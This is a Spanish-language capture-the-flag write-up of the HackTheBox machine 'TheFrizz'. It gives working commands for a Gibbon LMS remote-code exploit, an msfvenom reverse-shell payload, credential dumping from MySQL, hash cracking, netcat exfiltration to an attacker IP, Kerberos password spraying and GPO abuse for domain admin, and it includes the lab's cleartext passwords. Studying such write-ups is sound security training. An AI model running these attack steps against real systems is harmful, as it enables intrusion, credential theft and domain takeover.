TheFrizz

Escaneo inicial:


Se econtro la version de Gibbon v25.0

Un CVE:

Tambien se encontro un RCE:
Lo ejecutamos:
python gibbonlms_cmd_shell.py http://frizzdc.frizz.htb/
Y nos pide un windows/x64/shell_reverse_tcp la cual la crearemos:
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.16.33 LPORT=1234 -f exe -o winrar.exe

Al ejecutar el exploit RCE nos pide un shell y ahi lo mandamos:

Siempre en la escucha:

Miramos los usuarios del dominio:

Tambien se logra ver un config.php:

Podemos ver el usuario y contraseรฑa de la base de datos.
Ahora para ejecutar la base de datos tenemos q buscar un mysql.exe:
dir /s /b C:\mysql.exe

Entramos al directorio y ejecutamos el .exe con el usuario y contraseรฑa:
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "show databases;"
Database
gibbon
information_schema
test
Miramos la lista de tablas de gibbon:
.\mysql.exe -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "SHOW TABLES;" gibbon

Consultamos el contenido de la tabla gibbonperson:
mysql -u MrGibbonsDB -p"MisterGibbs!Parrot!?1" -e "USE gibbon; SELECT * FROM gibbonperson;" -E

Tenemos un hash:
067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03
Verificamos que tipo de hash es:

En tu archivo
hash.txt
solo tienes el hash puro (sin salt ni el formato que John necesita para interpretar dinรกmicos).El formato
dynamic=sha256($s.$p)
requiere que el hash estรฉ en formato dinรกmico, que incluye explรญcitamente la sal, para que John lo sepa.
$dynamic_82$067f746faca44f170c6cd9d7c4bdac6bc342c608687733f80ff784242b0b0c03$/aACFhikmNopqrRTVz2489
john --format=dynamic='sha256($s.$p)' --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Intentamos entrar por ssh:
Como el puerto WinRM no estรก abierto, usemos SSH con autenticaciรณn Kerberos.
ssh f.frizzle@frizzdc.frizz.htb

Entremos por Kerberos (usado en entornos corporativos).
Kerberos SSH #
โ
Paso 1: Configura Kerberos (krb5.conf
)
krb5.conf
)Edita el archivo de configuraciรณn de Kerberos:
sudo nano /etc/krb5.conf
Pega la siguiente configuraciรณn:
[libdefaults]
default_realm = FRIZZ.HTB
dns_lookup_realm = false
dns_lookup_kdc = true
ticket_lifetime = 24h
forwardable = true
[realms]
FRIZZ.HTB = {
kdc = frizzdc.frizz.htb
admin_server = frizzdc.frizz.htb
default_domain = frizz.htb
}
[domain_realm]
.frizz.htb = FRIZZ.HTB
frizz.htb = FRIZZ.HTB
Guarda con CTRL+O
y luego CTRL+X
.
โ
Paso 2: Configura el archivo de hosts (/etc/hosts
)
/etc/hosts
)Asocia el dominio con la IP del controlador de dominio:
sudo nano /etc/hosts
Agrega esta lรญnea:
10.10.11.60 frizzdc.frizz.htb frizz.htb
Guarda y cierra.
โ
Paso 3: Obtener el TGT (Ticket Granting Ticket)
Ejecuta kinit
con el usuario Kerberos:
kinit f.frizzle@FRIZZ.HTB
Te pedirรก la contraseรฑa:
Password for f.frizzle@FRIZZ.HTB:
Jenni_Luvs_Magic23
โ
Paso 4: Verifica el ticket Kerberos
Verifica que el TGT fue obtenido correctamente:
klist
Salida esperada:
rubyCopiarEditarTicket cache: FILE:/tmp/krb5cc_1000
Default principal: f.frizzle@FRIZZ.HTB
Valid starting Expires Service principal
03/19/2025 18:18:19 03/20/2025 04:18:19 krbtgt/FRIZZ.HTB@FRIZZ.HTB
โ
Paso 5: Conรฉctate vรญa SSH con Kerberos
Finalmente, conรฉctate al host remoto usando el ticket Kerberos:
ssh f.frizzle@frizz.htb -K
El -K
indica que se use el ticket Kerberos obtenido previamente.

Escalada de privilegios:
Creamos nuestro directorio tmp:

Usaremos BloodHound y Neo4j:

Bien pasaremos los dos archvos a la maquina victima:
Desde Kali levantas un servidor HTTP:
python3 -m http.server 8000
Y en la vรญctima (Windows) descargas los ejecutables:
Invoke-WebRequest -Uri "http://10.10.14.109:8000/nc.exe" -OutFile "C:\tmp\nc.exe"
Invoke-WebRequest -Uri "http://10.10.14.109:8000/SharpHound.exe" -OutFile "C:\tmp\SharpHound.exe"
ยฟPor quรฉ esto?
SharpHound.exe
: herramienta que recolecta info del dominio.nc.exe
: herramienta para enviar archivos desde la vรญctima hacia ti (reverse file transfer).

Ejecutamos el SharpHound
.\SharpHound.exe -c All --zipfilename frizzle

Pasaremos el .zip a nuestra maqina usando el nc.exe:
cmd /c "nc.exe 10.10.16.33 3333 < 20250601160521_frizzle.zip"
nc -nvlp 3333 > 2025.zip
Tenemos el .zip en nuestra mรกquina:
Descubrรญ que m.schoolbus tiene permisos relativamente altos, asรญ que intentรฉ ver si podรญa iniciar sesiรณn con el usuario m.schoolbus .

๐๏ธ 1. Acceder a la Papelera desde PowerShe
PS C:\Users\f.frizzle> $path = $item | Select-Object -ExpandProperty Path
PS C:\Users\f.frizzle> Copy-Item -Path $path -Destination out.7z
Desde la mรกquina host:
scp f.frizzle@frizz.htb:out.7z .
# Extract the archive
7z x out.7z

El waptserver.ini
archivo contiene una contraseรฑa base64. Podrรญamos usar esta contraseรฑa para rociar a los usuarios.
echo 'wapt_password' | base64 -d

Pulverizaciรณn de contraseรฑas #
Captura todos los usuarios.
GetADUsers.py -k -no-pass frizz.htb/ -dc-host frizzdc.frizz.htb -all | awk '{print $1}' | tail -n +6 > users.txt
> kerbrute passwordspray --dc frizzdc.frizz.htb -d frizz.htb users.txt '<PASS>'
__ __ __
/ /_____ _____/ /_ _______ __/ /____
/ //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
/ ,< / __/ / / /_/ / / / /_/ / /_/ __/
/_/|_|\___/_/ /_.___/_/ \__,_/\__/\___/
Version: v1.0.3 (9dad6e1) - 03/24/25 - Ronnie Flathers @ropnop
2025/03/24 03:26:43 > Using KDC(s):
2025/03/24 03:26:43 > frizzdc.frizz.htb:88
2025/03/24 03:26:43 > [+] VALID LOGIN: M.SchoolBus@frizz.htb:<PASS>
La contraseรฑa es vรกlida para M.SchoolBus
el usuario. Segรบn la informaciรณn anterior sobre Remote Management Users
la pertenencia al grupo, este usuario es miembro de dicho grupo. Obtenga un ticket e inicie sesiรณn mediante SSH con autenticaciรณn Kerberos.
Group Policy Creator Owners #
Este usuario pertenece al Group Policy Creator Owners
grupo que puede crear GPO y modificarlos.

Resultado clave:
En la lista de grupos a los que pertenece M.SchoolBus
aparece el grupo:
frizz\Group Policy Creator Owners
Este grupo tiene permisos para crear y modificar Objetos de Polรญtica de Grupo (GPO) en el dominio.
PS C:\Users\M.SchoolBus> whoami /groups
GROUP INFORMATION
-----------------
Group Name Type SID Attributes
============================================ ================ ============================================== ===============================================================
Everyone Well-known group S-1-1-0 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users Alias S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group
frizz\Desktop Admins Group S-1-5-21-2386970044-1145388522-2932701813-1121 Mandatory group, Enabled by default, Enabled group
frizz\Group Policy Creator Owners Group S-1-5-21-2386970044-1145388522-2932701813-520 Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1 Mandatory group, Enabled by default, Enabled group
frizz\Denied RODC Password Replication Group Alias S-1-5-21-2386970044-1145388522-2932701813-572 Mandatory group, Enabled by default, Enabled group, Local Group
Mandatory Label\Medium Mandatory Level Label S-1-16-8192
Abuso de GPO #
Podrรญamos crear una GPO New-GPO
y vincularla mediante New-GPLink
comandos. La unidad organizativa de destino es la Domain Controllers
unidad organizativa.
PS C:\Users\M.SchoolBus> Get-ADDomainController -Filter * | Select-Object ComputerObjectDN
ComputerObjectDN
----------------
CN=FRIZZDC,OU=Domain Controllers,DC=frizz,DC=htb
La OU de destino es OU=Domain Controllers,DC=frizz,DC=htb
.
PS C:\Users\M.SchoolBus> New-GPO -Name jergal | New-GPLink -Target "OU=Domain Controllers,DC=frizz,DC=htb"
GpoId : d9036dd1-24b4-4a7d-be90-d704a8967a85
DisplayName : jergal
Enabled : True
Enforced : False
Target : OU=Domain Controllers,DC=frizz,DC=htb
Order : 2
Pasamos el SharpGPOAbuse
.\SharpGPOAbuse.exe --AddLocalAdmin --UserAccount "M.SchoolBus" --GPOName "MyGPO" --Force

Pero aun no tenemos permisos completos:

Descargaremos el RunasCs en el Windows:
powershell.exe -Command "Invoke-WebRequest -Uri http://10.10.16.33:8000/RunasCs.exe -OutFile RunasCs.exe"
Una vez pasado al windows lo ejecutamos teniendo el listener en escucha:

Last updated